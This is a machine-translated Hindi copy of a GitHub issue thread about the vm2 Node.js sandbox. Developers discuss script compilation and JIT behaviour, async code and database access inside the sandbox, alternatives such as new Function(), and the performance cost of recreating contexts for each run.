_vm.Script वर्ग के उदाहरणों में पहले से संकलित स्क्रिप्ट होती हैं जिन्हें विशिष्ट सैंडबॉक्स (या "संदर्भ") में निष्पादित किया जा सकता है।_

Eric24 16 अक्तू॰ 2017

@ Eric24 प्रलेखन एक प्रकार से भ्रमित करने वाला है। संबद्ध कोड स्निपेट उसी अर्थ में "संकलित" हो जाता है जैसे एक दुभाषिया जावास्क्रिप्ट को बाइट कोड में संकलित करता है। जेएस एक दुभाषिया के माध्यम से निष्पादित करने में सक्षम है, जब Script ऑब्जेक्ट को तत्काल किया गया है, लेकिन v8 से अधिकांश पूर्ण लाभ इस व्याख्या किए गए मध्यवर्ती प्रतिनिधित्व को मूल मशीन कोड में संकलित करने से आता है। बाद वाला चरण तब तक शुरू नहीं runInContext कहा जाता।

वास्तव में, JIT संकलक का जीवन चक्र उससे कहीं अधिक जटिल है, क्योंकि कोड को JIT द्वारा अनुकूलन के लिए विचार करने से पहले ही गर्म करना पड़ता है। यदि आप विवरण में रुचि रखते हैं तो इंटरनेट पर बहुत सारी पठन सामग्री है ।

लेकिन आपको कुछ कठिन डेटा प्रदान करने के लिए, runInContext के लिए प्रासंगिक स्रोत कोड यहां दिया गया है: https://github.com/nodejs/node/blob/v8.7.0/lib/vm.js#L54 -L61

realRunInContext संदर्भ C++ contextify मॉड्यूल से है। जिसे आप यहां देख सकते हैं: https://github.com/nodejs/node/blob/v8.7.0/src/node_contextify.cc#L660 -L719

इस सी ++ कोड का सबसे महत्वपूर्ण हिस्सा यकीनन EvalMachine कॉल है, जो संकलित कोड को वर्तमान संदर्भ से जोड़ता है, और जेआईटी कंपाइलर शुरू करने के लिए script->Run() पर कॉल करता है। निश्चित रूप से वह कौन सा है जो अनुकूलित करने के लिए कोड की तलाश शुरू करता है।

उम्मीद है की वो मदद करदे!

parasyte 16 अक्तू॰ 2017

@parasyte : हाँ, यह मददगार है। धन्यवाद!

Eric24 18 अक्तू॰ 2017

हम vm2 सैंडबॉक्स का उपयोग करके एक कार्यान्वयन के साथ संघर्ष कर रहे हैं। क्या हम vm2 सैंडबॉक्स के अंदर async कोड कह सकते हैं? इसका कारण यह है कि, हमें vm2 के सैंडबॉक्स से मैसकल जैसे डेटा स्रोत से कनेक्ट करने की आवश्यकता है?

rajbrt 24 अक्तू॰ 2017

हाँ आप सैंडबॉक्स के अंदर async प्रतीक्षा कर सकते हैं, आपको क्या समस्या हो रही है?
ध्यान रखें कि यदि आप अविश्वसनीय कोड चला रहे हैं, तो शायद आप ऐसा नहीं करना चाहेंगे
सैंडबॉक्स में पूर्ण एसक्यूएल पहुंच प्रदान करें। इसके बजाय, आप शायद जोड़ना चाहते हैं a
सैंडबॉक्स के लिए getdata() विधि जो सैंडबॉक्स के बाहर कोड चलाता है जहां
वास्तविक SQL कनेक्शन होता है।

मंगलवार, 24 अक्टूबर, 2017 को सुबह 6:49 बजे राजगोपाल सोमसुंदरम <
सूचनाएं@github.com> ने लिखा:

हम vm2 सैंडबॉक्स का उपयोग करके एक कार्यान्वयन के साथ संघर्ष कर रहे हैं। क्या हम कॉल कर सकते हैं
vm2 सैंडबॉक्स के अंदर async कोड? कारण है, हमें a . से जुड़ने की आवश्यकता है
vm2 के सैंडबॉक्स से मैसकल जैसे डेटा स्रोत?
-
आप इसे प्राप्त कर रहे हैं क्योंकि आपका उल्लेख किया गया था।
इस ईमेल का सीधे उत्तर दें, इसे GitHub पर देखें
https://github.com/patriksimek/vm2/issues/32#issuecomment-338978717 , या म्यूट करें
सूत्र
https://github.com/notifications/unsubscribe-auth/AOeY7Kir6Mm_k_P2ZhR3tdQzZQPknTNZks5svdz0gaJpZM4I22m8
.

wysisoft 24 अक्तू॰ 2017

@wysisoft उत्तर के लिए धन्यवाद, हमने https://github.com/patriksimek/vm2/issues/102 विवरण के साथ इस मुद्दे को अलग से उठाया है

rajbrt 24 अक्तू॰ 2017

@ एरिक 24 दिमाग 'नया फंक्शन ()' विकल्प साझा कर रहा है? VM से साफ दिखता है

platinumindustries 16 अग॰ 2018

@platinumindustries : अंत में, मैं वास्तव में "नया फ़ंक्शन ()" विकल्प की अनुशंसा नहीं करता हूं। हमने वीएम दृष्टिकोण के साथ रहना समाप्त कर दिया, और इसके बजाय उस कोड को अनुकूलित करने पर ध्यान केंद्रित किया। हमारे पास अब जो है वह बहुत अच्छा काम करता है। मैं ईमानदारी से याद नहीं कर सकता कि हमें उस दिशा में क्या धक्का दिया, लेकिन मुझे पता है कि कई छोटी चीजें थीं जो अंततः सूची से "नया फ़ंक्शन ()" दृष्टिकोण को पार कर गईं।

Eric24 16 अग॰ 2018

@ एरिक 24 तो बहुत अच्छा। इसके अलावा, NodeJS 10.9* के नए संस्करण में उनके पास vm में eval() को अक्षम करने का विकल्प है । तो क्या यह पर्याप्त है या क्या मुझे अभी भी इसे C . से अक्षम करने की आवश्यकता है?

platinumindustries 17 अग॰ 2018

पुराने धागे में कूदने के लिए वास्तव में खेद है।

हालांकि, वास्तविक लक्ष्य उपयोग-मामले में, मुझे हर बार संदर्भ को फिर से बनाना होगा (संभावित रूप से संकलित स्क्रिप्ट को कैश करने में सक्षम होना), क्योंकि प्रत्येक रन अद्वितीय है और एक नए संदर्भ से शुरू होना चाहिए)।

@ एरिक 24 मैं देख रहा हूं कि मैं सर्वर एप्लिकेशन के अंदर vm2 का उपयोग करके संभावित रूप से कुछ मनमाना कोड कैसे चला सकता हूं। मेरा मानना है कि मेरा उपयोग मामला आपके द्वारा बताए गए समान है क्योंकि मैं देख रहा हूं कि मैं आने वाले अनुरोध से वीएम के अंदर चल रहे कोड में पैरामीटर/तर्क कैसे पास कर सकता हूं।

अभी मैं ऐसा करने का एकमात्र तरीका देख सकता हूं कि हर बार एक नया संदर्भ बनाया जाए लेकिन यह वास्तव में धीमा है। मैं यह पता लगाने की कोशिश कर रहा हूं कि क्या मैं एक संदर्भ वस्तु का पुन: उपयोग कर सकता हूं लेकिन वीएम के अंदर चल रहे कोड को डेटा प्रदान करने के लिए किसी अन्य तंत्र का उपयोग कर सकता हूं। @parasyte ने Event() ऑब्जेक्ट्स का उपयोग करके द्विदिश संचार के बारे में कुछ बताया लेकिन यह मेरे लिए पूरी तरह से स्पष्ट नहीं था।

मैं सोच रहा था कि क्या आप भी इसी तरह की समस्या का सामना करते हैं और यदि आपने किया, तो क्या आप कुछ सुझाव साझा करना चाहेंगे कि आपने इसे कैसे हल किया? आपके समय के लिए धन्यवाद।

darahayes 14 सित॰ 2018

@darahayes : असल में, मैं प्रत्येक रन के लिए एक नया संदर्भ बना रहा हूं, लेकिन मुझे यह धीमा नहीं लगता है। आप किस तरह का प्रदर्शन देख रहे हैं बनाम आप क्या उम्मीद कर रहे हैं? और आप प्रदर्शन को कैसे माप रहे हैं?

Eric24 16 सित॰ 2018

मैं प्रत्येक रन के लिए एक नई नोडज प्रक्रिया तैयार कर रहा हूं, और यह उतना बुरा नहीं है, 100 एमएस से कम की देरी है।

wysisoft 16 सित॰ 2018

क्या यह पृष्ठ उपयोगी था?

0 / 5 - 0 रेटिंग्स

Vm2: वीएम सैंडबॉक्स से बचना

सबसे उपयोगी टिप्पणी

सभी 64 टिप्पणियाँ

संबंधित मुद्दों